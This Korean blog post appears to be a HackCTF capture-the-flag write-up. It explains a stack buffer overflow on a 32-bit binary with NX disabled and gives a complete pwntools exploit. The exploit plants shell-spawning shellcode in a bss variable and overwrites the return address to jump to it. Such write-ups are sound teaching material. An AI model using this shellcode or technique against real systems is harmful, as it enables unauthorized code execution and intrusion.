728x90
check
- 32bit
- NX 적용 X
Analyze
pseudo code
- 간단하게 main 함수에서 해결할 수 있는 문제이다
- name 변수는 IDA를 통해 확인하니 bss 영역에 저장되어있다. name은 전역변수(public)으로 선언되어 따로 초기화되어있지는 않은 값으로 bss 영역에 저장되어 있다.
>> bss영역과 데이터 영역의 차이는 shinluckyarchive.tistory.com/159 이 블로그에서 잘 설명해주셨다!
- read 함수를 이용해 name 변수의 위치(bss영역)에 쉘코드를 저장하고 gets 함수에서의 값을 입력받으면서 쉘 코드를 저장한 영역을 리턴주소로 덮어쓰면서 쉘 코드를 실행시키도록 할 수 있을 것 같다!
Exploit
from pwn import *
#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz", 3003)
sh = "\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
p.sendlineafter("Name : ", sh)
pl = "A"*(0x14 + 4)
pl += "\x60\xa0\x04\x08"
p.sendlineafter("input : ",pl)
p.interactive()
+) name 변수에 저장할 값 sh를 작성할 때 쉘 코드 뒤에 "\x90"을 덧붙여서 했을 때는 EOF를 만나 제대로 쉘이 따지지 않았다. name 변수를 overflow할 것은 아니기 때문에 굳이 0x32byte를 꽉 채울 필요는 없다. name 변수는 쉘코드를 저장하는 목적이기 때문에!!
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] x64 Buffer Overflow (2) | 2021.02.05 |
---|---|
[LOB] orc → wolfman (0) | 2021.02.05 |
[HackCTF] offset (2) | 2021.02.03 |
[HackCTF] basic_bof2 (2) | 2021.02.01 |
[HackCTF] ROP (2) | 2021.02.01 |